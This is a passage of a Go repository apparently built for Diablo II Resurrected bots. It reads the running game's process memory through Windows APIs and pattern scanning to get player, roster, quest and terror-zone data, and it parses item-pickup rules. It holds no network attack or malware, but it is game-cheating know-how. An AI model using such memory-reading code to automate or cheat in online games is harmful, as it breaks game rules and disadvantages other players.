"github.com/notedhouse/d2go/pkg/data/mode" 7 | "github.com/notedhouse/d2go/pkg/data/stat" 8 | "github.com/notedhouse/d2go/pkg/data/state" 9 | ) 10 | 11 | type RawPlayerUnit struct { 12 | data.UnitID 13 | Address uintptr 14 | Name string 15 | IsMainPlayer bool 16 | IsCorpse bool 17 | Area area.ID 18 | Position data.Position 19 | IsHovered bool 20 | States state.States 21 | Stats stat.Stats 22 | BaseStats stat.Stats 23 | Mode mode.PlayerMode 24 | } 25 | 26 | type RawPlayerUnits []RawPlayerUnit 27 | 28 | func (pu RawPlayerUnits) GetMainPlayer() RawPlayerUnit { 29 | for _, p := range pu { 30 | if p.IsMainPlayer { 31 | return p 32 | } 33 | } 34 | return RawPlayerUnit{} 35 | } 36 | 37 | func (pu RawPlayerUnits) GetCorpse() RawPlayerUnit { 38 | for _, p := range pu { 39 | if p.IsCorpse { 40 | return p 41 | } 42 | } 43 | return RawPlayerUnit{} 44 | } 45 | -------------------------------------------------------------------------------- /pkg/memory/process.go: -------------------------------------------------------------------------------- 1 | package memory 2 | 3 | import ( 4 | "bytes" 5 | "encoding/binary" 6 | "errors" 7 | "strings" 8 | "syscall" 9 | "unsafe" 10 | 11 | "golang.org/x/sys/windows" 12 | ) 13 | 14 | const moduleName = "d2r.exe" 15 | 16 | type Process struct { 17 | handler windows.Handle 18 | pid uint32 19 | moduleBaseAddressPtr uintptr 20 | moduleBaseSize uint32 21 | } 22 | 23 | const ( 24 | Int8 = 1 // signed 8-bit integer 25 | Int16 = 2 // signed 16-bit integer 26 | Int32 = 4 // signed 32-bit integer 27 | Int64 = 8 // signed 64-bit integer 28 | ) 29 | 30 | func NewProcess() (Process, error) { 31 | module, err := getGameModule() 32 | if err != nil { 33 | return Process{}, err 34 | } 35 | 36 | h, err := windows.OpenProcess(0x0010, false, module.ProcessID) 37 | if err != nil { 38 | return Process{}, err 39 | } 40 | 41 | return Process{ 42 | handler: h, 43 | pid: module.ProcessID, 44 | moduleBaseAddressPtr: module.ModuleBaseAddress, 45 | moduleBaseSize: module.ModuleBaseSize, 46 | }, nil 47 | } 48 | 49 | func NewProcessForPID(pid uint32) (Process, error) { 50 | module, found := getMainModule(pid) 51 | if !found { 52 | return Process{}, errors.New("no module found for the specified PID") 53 | } 54 | 55 | h, err := windows.OpenProcess(0x0010, false, module.ProcessID) 56 | if err != nil { 57 | return Process{}, err 58 | } 59 | 60 | return Process{ 61 | handler: h, 62 | pid: module.ProcessID, 63 | moduleBaseAddressPtr: module.ModuleBaseAddress, 64 | moduleBaseSize: module.ModuleBaseSize, 65 | }, nil 66 | } 67 | 68 | func (p Process) Close() error { 69 | return windows.CloseHandle(p.handler) 70 | } 71 | 72 | func getGameModule() (ModuleInfo, error) { 73 | processes := make([]uint32, 2048) 74 | length := uint32(0) 75 | err := windows.EnumProcesses(processes, &length) 76 | if err != nil { 77 | return ModuleInfo{}, err 78 | } 79 | 80 | for _, process := range processes { 81 | module, found := getMainModule(process) 82 | if found { 83 | return module, nil 84 | } 85 | } 86 | 87 | return ModuleInfo{}, err 88 | } 89 | 90 | func getMainModule(pid uint32) (ModuleInfo, bool) { 91 | mi, err := GetProcessModules(pid) 92 | if err != nil { 93 | return ModuleInfo{}, false 94 | } 95 | for _, m := range mi { 96 | if strings.Contains(strings.ToLower(m.ModuleName), moduleName) { 97 | return m, true 98 | } 99 | } 100 | 101 | return ModuleInfo{}, false 102 | } 103 | 104 | func (p Process) getProcessMemory() ([]byte, error) { 105 | var data = make([]byte, p.moduleBaseSize) 106 | err := windows.ReadProcessMemory(p.handler, p.moduleBaseAddressPtr, &data[0], uintptr(p.moduleBaseSize), nil) 107 | if err != nil { 108 | return nil, err 109 | } 110 | 111 | return data, nil 112 | } 113 | 114 | func (p Process) ReadBytesFromMemory(address uintptr, size uint) []byte { 115 | var data = make([]byte, size) 116 | windows.ReadProcessMemory(p.handler, address, &data[0], uintptr(size), nil) 117 | 118 | return data 119 | } 120 | 121 | type IntType uint 122 | 123 | const ( 124 | Uint8 = 1 125 | Uint16 = 2 126 | Uint32 = 4 127 | Uint64 = 8 128 | ) 129 | 130 | func (p Process) ReadUInt(address uintptr, size IntType) uint { 131 | bytes := p.ReadBytesFromMemory(address, uint(size)) 132 | 133 | return bytesToUint(bytes, size) 134 | } 135 | 136 | func ReadUIntFromBuffer(bytes []byte, offset uint, size IntType) uint { 137 | return bytesToUint(bytes[offset:offset+uint(size)], size) 138 | } 139 | 140 | func bytesToUint(bytes []byte, size IntType) uint { 141 | switch size { 142 | case Uint8: 143 | return uint(bytes[0]) 144 | case Uint16: 145 | return uint(binary.LittleEndian.Uint16(bytes)) 146 | case Uint32: 147 | return uint(binary.LittleEndian.Uint32(bytes)) 148 | case Uint64: 149 | return uint(binary.LittleEndian.Uint64(bytes)) 150 | } 151 | 152 | return 0 153 | } 154 | func ReadIntFromBuffer(bytes []byte, offset uint, size IntType) int { 155 | return bytesToInt(bytes[offset:offset+uint(size)], size) 156 | } 157 | func bytesToInt(bytes []byte, size IntType) int { 158 | switch size { 159 | case Int8: 160 | return int(int8(bytes[0])) 161 | case Int16: 162 | return int(int16(binary.LittleEndian.Uint16(bytes))) 163 | case Int32: 164 | return int(int32(binary.LittleEndian.Uint32(bytes))) 165 | case Int64: 166 | return int(int64(binary.LittleEndian.Uint64(bytes))) 167 | } 168 | return 0 169 | } 170 | 171 | func (p Process) ReadStringFromMemory(address uintptr, size uint) string { 172 | if size == 0 { 173 | for i := 1; true; i++ { 174 | data := p.ReadBytesFromMemory(address, uint(i)) 175 | if data[i-1] == 0 { 176 | return string(bytes.Trim(data, "\x00")) 177 | } 178 | } 179 | } 180 | 181 | return string(bytes.Trim(p.ReadBytesFromMemory(address, size), "\x00")) 182 | } 183 | 184 | func (p Process) findPattern(memory []byte, pattern, mask string) int { 185 | patternLength := len(pattern) 186 | for i := 0; i < int(p.moduleBaseSize)-patternLength; i++ { 187 | found := true 188 | for j := 0; j < patternLength; j++ { 189 | if string(mask[j]) != "?" && string(pattern[j]) != string(memory[i+j]) { 190 | found = false 191 | break 192 | } 193 | } 194 | 195 | if found { 196 | return i 197 | } 198 | } 199 | 200 | return 0 201 | } 202 | 203 | func (p Process) FindPattern(memory []byte, pattern, mask string) uintptr { 204 | if offset := p.findPattern(memory, pattern, mask); offset != 0 { 205 | return p.moduleBaseAddressPtr + uintptr(offset) 206 | } 207 | 208 | return 0 209 | } 210 | 211 | func (p Process) FindPatternByOperand(memory []byte, pattern, mask string) uintptr { 212 | if offset := p.findPattern(memory, pattern, mask); offset != 0 { 213 | // Adjust the address based on the operand value 214 | operandAddress := p.moduleBaseAddressPtr + uintptr(offset) 215 | operandValue := binary.LittleEndian.Uint32(memory[offset+3 : offset+7]) 216 | finalAddress := operandAddress + uintptr(operandValue) + 7 // 7 is the length of the instruction 217 | return finalAddress 218 | } 219 | 220 | return 0 221 | } 222 | 223 | func (p Process) GetPID() uint32 { 224 | return p.pid 225 | } 226 | 227 | type ModuleInfo struct { 228 | ProcessID uint32 229 | ModuleBaseAddress uintptr 230 | ModuleBaseSize uint32 231 | ModuleHandle syscall.Handle 232 | ModuleName string 233 | } 234 | 235 | func GetProcessModules(processID uint32) ([]ModuleInfo, error) { 236 | hProcess, err := windows.OpenProcess(windows.PROCESS_QUERY_INFORMATION|windows.PROCESS_VM_READ, false, processID) 237 | if err != nil { 238 | return nil, err 239 | } 240 | defer windows.CloseHandle(hProcess) 241 | 242 | var modules [1024]windows.Handle 243 | var needed uint32 244 | if err := windows.EnumProcessModules(hProcess, &modules[0], uint32(unsafe.Sizeof(modules[0]))*1024, &needed); err != nil { 245 | return nil, err 246 | } 247 | count := needed / uint32(unsafe.Sizeof(modules[0])) 248 | 249 | var moduleInfos []ModuleInfo 250 | for i := uint32(0); i < count; i++ { 251 | var mi windows.ModuleInfo 252 | if err := windows.GetModuleInformation(hProcess, modules[i], &mi, uint32(unsafe.Sizeof(mi))); err != nil { 253 | return nil, err 254 | } 255 | 256 | var moduleName [windows.MAX_PATH]uint16 257 | if err := windows.GetModuleFileNameEx(hProcess, modules[i], &moduleName[0], windows.MAX_PATH); err != nil { 258 | return nil, err 259 | } 260 | 261 | moduleInfos = append(moduleInfos, ModuleInfo{ 262 | ProcessID: processID, 263 | ModuleBaseAddress: mi.BaseOfDll, 264 | ModuleBaseSize: mi.SizeOfImage, 265 | ModuleHandle: syscall.Handle(modules[i]), 266 | ModuleName: syscall.UTF16ToString(moduleName[:]), 267 | }) 268 | } 269 | 270 | return moduleInfos, nil 271 | } 272 | 273 | // ReadPointer reads a pointer from the specified memory address. 274 | func (p *Process) ReadPointer(address uintptr, size int) (uintptr, error) { 275 | buffer := p.ReadBytesFromMemory(address, uint(size)) 276 | if len(buffer) == 0 { 277 | return 0, errors.New("failed to read memory") 278 | } 279 | 280 | return uintptr(*(*uint64)(unsafe.Pointer(&buffer[0]))), nil 281 | } 282 | 283 | func (p Process) ReadIntoBuffer(address uintptr, buffer []byte) error { 284 | return windows.ReadProcessMemory(p.handler, address, &buffer[0], uintptr(len(buffer)), nil) 285 | } 286 | 287 | // ReadWidgetContainer reads the WidgetContainer structure. 288 | func (p *Process) ReadWidgetContainer(address uintptr, full bool) (map[string]interface{}, error) { 289 | widgetPtr, err := p.ReadPointer(address+0x8, 8) 290 | if err != nil { 291 | return nil, err 292 | } 293 | 294 | widgetNameLength := p.ReadUInt(address+0x10, 4) 295 | 296 | widgetName := p.ReadStringFromMemory(widgetPtr, uint(widgetNameLength)) 297 | if widgetName == "" { 298 | return nil, errors.New("failed to read widget name") 299 | } 300 | 301 | widget_visible := p.ReadUInt(address+0x51, 1) == 1 302 | widget_active := p.ReadUInt(address+0x50, 1) == 1 303 | 304 | result := map[string]interface{}{ 305 | "WidgetNameString": widgetName, 306 | "WidgetNameLength": widgetNameLength, 307 | "WidgetVisible": widget_visible, 308 | "WidgetActive": widget_active, 309 | } 310 | 311 | if full { 312 | childWidgetsListPtr, err := p.ReadPointer(widgetPtr+0x38, 8) 313 | if err != nil { 314 | return nil, err 315 | } 316 | 317 | childWidgetSize := p.ReadUInt(widgetPtr+0x40, 4) 318 | 319 | widgetListPtr, err := p.ReadPointer(widgetPtr+0x68, 8) 320 | if err != nil { 321 | return nil, err 322 | } 323 | 324 | widgetListSize := p.ReadUInt(widgetPtr+0x78, 4) 325 | 326 | widgetList2Ptr, err := p.ReadPointer(widgetPtr+0x80, 8) 327 | if err != nil { 328 | return nil, err 329 | } 330 | 331 | widgetList2Size := p.ReadUInt(widgetPtr+0x90, 4) 332 | 333 | result["ChildWidgetsListPointer"] = childWidgetsListPtr 334 | result["ChildWidgetSize"] = childWidgetSize 335 | result["WidgetListPointer"] = widgetListPtr 336 | result["WidgetListSize"] = widgetListSize 337 | result["WidgetList2Pointer"] = widgetList2Ptr 338 | result["WidgetList2Size"] = widgetList2Size 339 | } 340 | 341 | return result, nil 342 | } 343 | 344 | // ReadWidgetList iterates through a list of widgets given a pointer to the list and its size. 345 | func (p *Process) ReadWidgetList(listPointer uintptr, listSize int) (map[string]map[string]interface{}, error) { 346 | widgetMap := make(map[string]map[string]interface{}) 347 | widgetSize := int(unsafe.Sizeof(uintptr(0))) 348 | 349 | for i := 0; i < listSize; i++ { 350 | widgetAddr, err := p.ReadPointer(listPointer+uintptr(i*widgetSize), 8) 351 | if err != nil { 352 | return nil, err 353 | } 354 | 355 | widgetContainer, err := p.ReadWidgetContainer(widgetAddr, false) 356 | if err != nil { 357 | return nil, err 358 | } 359 | 360 | widgetName, ok := widgetContainer["WidgetNameString"].(string) 361 | if !ok { 362 | return nil, errors.New("failed to read widget name") 363 | } 364 | 365 | widgetMap[widgetName] = widgetContainer 366 | } 367 | 368 | return widgetMap, nil 369 | } 370 | -------------------------------------------------------------------------------- /pkg/memory/quests.go: -------------------------------------------------------------------------------- 1 | package memory 2 | 3 | import ( 4 | "github.com/notedhouse/d2go/pkg/data/quest" 5 | ) 6 | 7 | func (gd *GameReader) getQuests(questBytes []byte) quest.Quests { 8 | return quest.Quests{ 9 | // Act 1 10 | quest.Act1DenOfEvil: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 0, 1)), 11 | quest.Act1SistersBurialGrounds: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 1, 1)), 12 | quest.Act1ToolsOfTheTrade: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 2, 1)), 13 | quest.Act1TheSearchForCain: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 3, 1)), 14 | quest.Act1TheForgottenTower: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 4, 1)), 15 | quest.Act1SistersToTheSlaughter: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 5, 1)), 16 | // Act 2 17 | quest.Act2RadamentsLair: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 8, 1)), 18 | quest.Act2TheHoradricStaff: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 9, 1)), 19 | quest.Act2TaintedSun: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 10, 1)), 20 | quest.Act2ArcaneSanctuary: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 11, 1)), 21 | quest.Act2TheSummoner: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 12, 1)), 22 | quest.Act2TheSevenTombs: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 13, 1)), 23 | // Act 3 24 | quest.Act3LamEsensTome: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 16, 1)), 25 | quest.Act3KhalimsWill: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 17, 1)), 26 | quest.Act3BladeOfTheOldReligion: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 18, 1)), 27 | quest.Act3TheGoldenBird: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 19, 1)), 28 | quest.Act3TheBlackenedTemple: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 20, 1)), 29 | quest.Act3TheGuardian: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 21, 1)), 30 | // Act 4 31 | quest.Act4TheFallenAngel: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 24, 1)), 32 | quest.Act4TerrorsEnd: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 25, 1)), 33 | quest.Act4HellForge: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 26, 1)), 34 | // Act 5 35 | quest.Act5SiegeOnHarrogath: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 34, 1)), 36 | quest.Act5RescueOnMountArreat: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 35, 1)), 37 | quest.Act5PrisonOfIce: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 36, 1)), 38 | quest.Act5BetrayalOfHarrogath: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 37, 1)), 39 | quest.Act5RiteOfPassage: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 38, 1)), 40 | quest.Act5EveOfDestruction: gd.getQuestStatus(ReadUIntFromBuffer(questBytes, 39, 1)), 41 | } 42 | } 43 | func (gd *GameReader) getQuestStatus(questStatusInt uint) []quest.Status { 44 | var activeStates []quest.Status 45 | activeStates = append(activeStates, quest.Status(questStatusInt)) 46 | return activeStates 47 | } 48 | 49 | //outdated 50 | 51 | /* func (gd *GameReader) getQuestStatus(questBytes []byte) []quest.Status { 52 | combinedValue := uint16(questBytes[0])<<8 | uint16(questBytes[1]) 53 | 54 | binaryRepresentation := fmt.Sprintf("%016b", combinedValue) 55 | 56 | var activeStates []quest.Status 57 | for i, char := range binaryRepresentation { 58 | if char == '1' { 59 | if 15-i >= 0 && i < 16 { 60 | activeStates = append(activeStates, quest.Status(15-i)) 61 | } 62 | } 63 | } 64 | 65 | return activeStates 66 | }*/ 67 | -------------------------------------------------------------------------------- /pkg/memory/roster.go: -------------------------------------------------------------------------------- 1 | package memory 2 | 3 | import ( 4 | "github.com/notedhouse/d2go/pkg/data" 5 | "github.com/notedhouse/d2go/pkg/data/area" 6 | ) 7 | 8 | func (gd *GameReader) getRoster(rawPlayerUnits RawPlayerUnits) (roster []data.RosterMember) { 9 | partyStruct := uintptr(gd.Process.ReadUInt(gd.Process.moduleBaseAddressPtr+gd.offset.RosterOffset, Uint64)) 10 | 11 | // We skip the first position because it's the main player, and we already have the information (+0x148 is the next party member) 12 | partyStruct = uintptr(gd.Process.ReadUInt(partyStruct+0x148, Uint64)) 13 | for partyStruct > 0 { 14 | name := gd.Process.ReadStringFromMemory(partyStruct, 16) 15 | a := area.ID(gd.Process.ReadUInt(partyStruct+0x5C, Uint32)) 16 | 17 | xPos := int(gd.Process.ReadUInt(partyStruct+0x60, Uint32)) 18 | yPos := int(gd.Process.ReadUInt(partyStruct+0x64, Uint32)) 19 | 20 | // When the player is in town, roster data is not updated, so we need to get the area from the player unit that match the same name 21 | for _, pu := range rawPlayerUnits { 22 | if pu.Name == name { 23 | xPos = pu.Position.X 24 | yPos = pu.Position.Y 25 | a = pu.Area 26 | break 27 | } 28 | } 29 | 30 | roster = append(roster, data.RosterMember{ 31 | Name: name, 32 | Area: a, 33 | Position: data.Position{X: xPos, Y: yPos}, 34 | }) 35 | partyStruct = uintptr(gd.Process.ReadUInt(partyStruct+0x148, Uint64)) 36 | } 37 | 38 | mainPlayerUnit := rawPlayerUnits.GetMainPlayer() 39 | 40 | return append([]data.RosterMember{{ 41 | Name: mainPlayerUnit.Name, 42 | Area: mainPlayerUnit.Area, 43 | Position: mainPlayerUnit.Position, 44 | }}, roster...) 45 | } 46 | -------------------------------------------------------------------------------- /pkg/memory/terrorzones.go: -------------------------------------------------------------------------------- 1 | package memory 2 | 3 | import ( 4 | "github.com/notedhouse/d2go/pkg/data/area" 5 | ) 6 | 7 | func (gd *GameReader) TerrorZones() (areas []area.ID) { 8 | tz := gd.moduleBaseAddressPtr + tzOnline 9 | 10 | for i := 0; i < 8; i++ { 11 | tzArea := gd.ReadUInt(tz+uintptr(i*Uint32), Uint32) 12 | if tzArea != 0 { 13 | areas = append(areas, area.ID(tzArea)) 14 | } 15 | } 16 | 17 | return 18 | } 19 | -------------------------------------------------------------------------------- /pkg/nip/errors.go: -------------------------------------------------------------------------------- 1 | package nip 2 | 3 | import "errors" 4 | 5 | var ( 6 | // ErrEmptyRule is returned when a rule is empty 7 | ErrEmptyRule = errors.New("empty rule") 8 | ) 9 | -------------------------------------------------------------------------------- /pkg/nip/file_reader.go: -------------------------------------------------------------------------------- 1 | package nip 2 | 3 | import ( 4 | "bufio" 5 | "errors" 6 | "fmt" 7 | "os" 8 | "strings" 9 | 10 | "github.com/notedhouse/d2go/pkg/data" 11 | "github.com/notedhouse/d2go/pkg/data/item" 12 | ) 13 | 14 | func ReadDir(path string) (Rules, error) { 15 | files, err := os.ReadDir(path) 16 | if err != nil { 17 | return nil, err 18 | } 19 | 20 | rules := make([]Rule, 0) 21 | for _, file := range files { 22 | if !strings.HasSuffix(strings.ToLower(file.Name()), ".nip") || file.IsDir() { 23 | continue 24 | } 25 | 26 | newRules, err := ParseNIPFile(path + file.Name()) 27 | if err != nil { 28 | return nil, err 29 | } 30 | 31 | rules = append(rules, newRules...) 32 | } 33 | 34 | return rules, nil 35 | } 36 | 37 | func ParseNIPFile(filePath string) (Rules, error) { 38 | fileToRead, err := os.Open(filePath) 39 | if err != nil { 40 | return nil, err 41 | } 42 | defer fileToRead.Close() 43 | 44 | fileScanner := bufio.NewScanner(fileToRead) 45 | fileScanner.Split(bufio.ScanLines) 46 | 47 | rules := make([]Rule, 0) 48 | lineNumber := 0 49 | 50 | dummyItem := data.Item{ 51 | ID: 516, 52 | Name: "healingpotion", 53 | Quality: item.QualityNormal, 54 | } 55 | 56 | for fileScanner.Scan() { 57 | lineNumber++ 58 | rule, err := NewRule(fileScanner.Text(), filePath, lineNumber) 59 | if errors.Is(err, ErrEmptyRule) { 60 | continue 61 | } 62 | if err != nil { 63 | return nil, fmt.Errorf("error reading %s file at line %d: %w", filePath, lineNumber, err) 64 | } 65 | 66 | // We evaluate all the rules at startup to ensure no format errors, if there is a format error we will throw it now instead of during runtime 67 | _, err = rule.Evaluate(dummyItem) 68 | if err != nil { 69 | return nil, fmt.Errorf("error testing rule on [%s:%d]: %w", filePath, lineNumber, err) 70 | } 71 | rules = append(rules, rule) 72 | } 73 | 74 | return rules, nil 75 | } 76 | 77 | func sanitizeLine(rawLine string) string { 78 | l := strings.Split(rawLine, "//") 79 | line := strings.TrimSpace(l[0]) 80 | line = strings.Join(strings.Fields(line), " ") 81 | line = strings.ReplaceAll(line, "'", "") 82 | 83 | // Fix possible wrong formatted lines 84 | line = strings.ReplaceAll(line, "=>", ">=") 85 | line = strings.ReplaceAll(line, "=<", "<=") 86 | line = strings.TrimSpace(strings.Trim(line, "&&")) 87 | 88 | return strings.ToLower(line) 89 | } 90 | -------------------------------------------------------------------------------- /pkg/nip/file_reader_test.go: -------------------------------------------------------------------------------- 1 | package nip 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | ) 8 | 9 | func TestParseNIPFile(t *testing.T) { 10 | path := "mock/rare.nip" 11 | 12 | rules, err := ParseNIPFile(path) 13 | assert.NoError(t, err) 14 | assert.NotEmpty(t, rules) 15 | } 16 | -------------------------------------------------------------------------------- /pkg/nip/properties.go: -------------------------------------------------------------------------------- 1 | package nip 2 | 3 | import "github.com/notedhouse/d2go/pkg/data/item" 4 | 5 | var quality = map[string]item.Quality{ 6 | "LowQuality": item.QualityLowQuality, 7 | "Normal": item.QualityNormal, 8 | "Superior": item.QualitySuperior, 9 | "Magic": item.QualityMagic, 10 | "Set": item.QualitySet, 11 | "Rare": item.QualityRare, 12 | "Unique": item.QualityUnique, 13 | "Crafted": item.QualityCrafted, 14 | } 15 | -------------------------------------------------------------------------------- /pkg/nip/rule_test.go: -------------------------------------------------------------------------------- 1 | package nip 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/notedhouse/d2go/pkg/data" 7 | "github.com/notedhouse/d2go/pkg/data/item" 8 | "github.com/notedhouse/d2go/pkg/data/stat" 9 | "github.com/stretchr/testify/require" 10 | ) 11 | 12 | func TestRule_Evaluate(t *testing.T) { 13 | type fields struct { 14 | RawLine string 15 | Filename string 16 | LineNumber int 17 | Enabled bool 18 | } 19 | type args struct { 20 | item data.Item 21 | } 22 | tests := []struct { 23 | name string 24 | fields fields 25 | args args 26 | want RuleResult 27 | wantErr bool 28 | }{ 29 | { 30 | name: "Basic rule with posion dmg, ethereal is not specified as a condition so it should be ignored", 31 | fields: fields{ 32 | RawLine: "[name] == smallcharm && [quality] == magic # (([poisonlength]*25)*[poisonmaxdam])/256 >= 123", 33 | Filename: "test.nip", 34 | LineNumber: 1, 35 | Enabled: true, 36 | }, 37 | args: args{ 38 | item: data.Item{ 39 | ID: 603, 40 | Name: "SmAlLCharM", 41 | Quality: item.QualityMagic, 42 | Ethereal: true, 43 | Stats: []stat.Data{ 44 | {ID: stat.PoisonLength, Value: 20}, 45 | {ID: stat.PoisonMaxDamage, Value: 100}, 46 | }, 47 | }, 48 | }, 49 | want: RuleResultFullMatch, 50 | }, 51 | { 52 | name: "Complex rule with flags", 53 | fields: fields{ 54 | RawLine: "[type] == armor && [quality] <= superior && [flag] != ethereal # ([itemmaxdurabilitypercent] == 0 || [itemmaxdurabilitypercent] == 15) && ([sockets] == 0 || [sockets] == 3 || [sockets] == 4)", 55 | Filename: "test.nip", 56 | LineNumber: 1, 57 | Enabled: true, 58 | }, 59 | args: args{ 60 | item: data.Item{ 61 | ID: 373, 62 | Name: "mageplate", 63 | Quality: item.QualitySuperior, 64 | Ethereal: false, 65 | Stats: []stat.Data{ 66 | {ID: stat.MaxDurabilityPercent, Value: 15}, 67 | {ID: stat.NumSockets, Value: 4}, 68 | }, 69 | }, 70 | }, 71 | want: RuleResultFullMatch, 72 | }, 73 | { 74 | name: "Armor with +3 Sorc skills", 75 | fields: fields{ 76 | RawLine: "[type] == armor # [sorceressskills] >= 3", 77 | Enabled: true, 78 | }, 79 | args: args{ 80 | item: data.Item{ 81 | ID: 373, 82 | Name: "mageplate", 83 | Stats: []stat.Data{ 84 | {ID: stat.AddClassSkills, Value: 3, Layer: 1}, 85 | }, 86 | }, 87 | }, 88 | want: RuleResultFullMatch, 89 | }, 90 | { 91 | name: "Armor with +3 Glacial Spike", 92 | fields: fields{ 93 | RawLine: "[type] == armor # [skillglacialspike] >= 3", 94 | Enabled: true, 95 | }, 96 | args: args{ 97 | item: data.Item{ 98 | ID: 373, 99 | Name: "mageplate", 100 | Stats: []stat.Data{ 101 | {ID: stat.SingleSkill, Value: 3, Layer: 55}, 102 | }, 103 | }, 104 | }, 105 | want: RuleResultFullMatch, 106 | }, 107 | { 108 | name: "Unid item matching base stats should return partial match", 109 | fields: fields{ 110 | RawLine: "[type] == armor && [quality] == magic # [defense] == 200", 111 | Enabled: true, 112 | }, 113 | args: args{ 114 | item: data.Item{ 115 | ID: 373, 116 | Identified: false, 117 | Name: "mageplate", 118 | Quality: item.QualityMagic, 119 | }, 120 | }, 121 | want: RuleResultPartial, 122 | }, 123 | { 124 | name: "Basic rule without stats or maxquantity", 125 | fields: fields{ 126 | RawLine: "[type] == assassinclaw && [class] == elite && [quality] == magic # #", 127 | Enabled: true, 128 | }, 129 | args: args{ 130 | item: data.Item{ 131 | ID: 187, 132 | Identified: false, 133 | Name: "GreaterTalons", 134 | Quality: item.QualityMagic, 135 | }, 136 | }, 137 | want: RuleResultFullMatch, 138 | }, 139 | { 140 | name: "Basic rule for a white superior item with enhanceddefense", 141 | fields: fields{ 142 | RawLine: "[type] == armor && [quality] == superior # [enhanceddefense] >= 15 #", 143 | Enabled: true, 144 | }, 145 | args: args{ 146 | item: data.Item{ 147 | Identified: true, 148 | ID: 373, 149 | Name: "mageplate", 150 | Quality: item.QualitySuperior, 151 | Stats: []stat.Data{ 152 | {ID: stat.EnhancedDefense, Value: 15}, 153 | {ID: stat.Defense, Value: 301}, 154 | }, 155 | }, 156 | }, 157 | want: RuleResultFullMatch, 158 | }, 159 | { 160 | name: "Basic rule for a white superior item with enhanceddamage", 161 | fields: fields{ 162 | RawLine: "[type] == sword # [enhanceddamage] >= 15 #", 163 | Enabled: true, 164 | }, 165 | args: args{ 166 | item: data.Item{ 167 | Identified: true, 168 | ID: 234, 169 | Name: "colossusblade", 170 | Quality: item.QualitySuperior, 171 | Stats: []stat.Data{ 172 | {ID: stat.EnhancedDamage, Value: 15}, 173 | {ID: stat.MinDamage, Value: 28}, 174 | {ID: stat.MaxDamage, Value: 74}, 175 | {ID: stat.TwoHandedMinDamage, Value: 66}, 176 | {ID: stat.TwoHandedMaxDamage, Value: 132}, 177 | }, 178 | }, 179 | }, 180 | want: RuleResultFullMatch, 181 | }, 182 | } 183 | for _, tt := range tests { 184 | t.Run(tt.name, func(t *testing.T) { 185 | r, err := NewRule(tt.fields.RawLine, tt.fields.Filename, tt.fields.LineNumber) 186 | require.NoError(t, err) 187 | got, err := r.Evaluate(tt.args.item) 188 | if !tt.wantErr { 189 | require.NoError(t, err) 190 | require.Equal(t, tt.want, got) 191 | } else { 192 | require.Error(t, err) 193 | } 194 | }) 195 | } 196 | } 197 | 198 | func TestNew(t *testing.T) { 199 | type args struct { 200 | rawRule string 201 | filename string 202 | lineNumber int 203 | } 204 | tests := []struct { 205 | name string 206 | args args 207 | want Rule 208 | wantErr bool 209 | }{ 210 | { 211 | name: "Ensure [color] returns error, not supported yet", 212 | args: args{ 213 | rawRule: "[type] == armor && [color] == 1000 && [quality] == magic", 214 | }, 215 | wantErr: true, 216 | }, 217 | } 218 | for _, tt := range tests { 219 | t.Run(tt.name, func(t *testing.T) { 220 | got, err := NewRule(tt.args.rawRule, tt.args.filename, tt.args.lineNumber) 221 | if tt.wantErr { 222 | require.Error(t, err) 223 | } else { 224 | require.NoError(t, err) 225 | require.NotNil(t, got) 226 | } 227 | }) 228 | } 229 | } 230 | 231 | func BenchmarkEvaluate(b *testing.B) { 232 | it := data.Item{ 233 | ID: 0, 234 | Name: "Axe", 235 | Quality: item.QualitySuperior, 236 | } 237 | 238 | rule, err := NewRule( 239 | "[type] == amulet && [quality] == crafted # ([shapeshiftingskilltab] >= 2 || [elementalskilltab] >= 2 || [druidsummoningskilltab] >= 2) && [fcr] >= 10 && ([strength]+[maxhp]+[maxmana] >= 60 || [dexterity]+[maxhp]+[maxmana] >= 60 || [strength]+[dexterity]+[maxhp] >= 50 || [strength]+[dexterity]+[maxmana] >= 55)", 240 | "test", 241 | 1, 242 | ) 243 | require.NoError(b, err) 244 | 245 | for n := 0; n < b.N; n++ { 246 | rule.Evaluate(it) 247 | } 248 | } 249 | -------------------------------------------------------------------------------- /pkg/utils/map_seed_hash.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import "math" 4 | 5 | const mapHashDivisor = 1 << 16 6 | 7 | // Logic stolen from MapAssist, credits to them 8 | 9 | func GetMapSeed(initHashSeed, endHashSeed uint) (uint, bool) { 10 | var gameSeedXor uint = 0 11 | seed, found := reverseMapSeedHash(endHashSeed) 12 | if found { 13 | gameSeedXor = initHashSeed ^ seed 14 | } 15 | 16 | if gameSeedXor == 0 { 17 | return 0, false 18 | } 19 | 20 | return seed, true 21 | } 22 | 23 | func reverseMapSeedHash(hash uint) (uint, bool) { 24 | incrementalValue := uint(1) 25 | 26 | for startValue := uint(0); startValue < math.MaxUint; startValue += incrementalValue { 27 | seedResult := (uint(startValue)*0x6AC690C5 + 666) & 0xFFFFFFFF 28 | 29 | if seedResult == hash { 30 | return startValue, true 31 | } 32 | 33 | if incrementalValue == 1 && 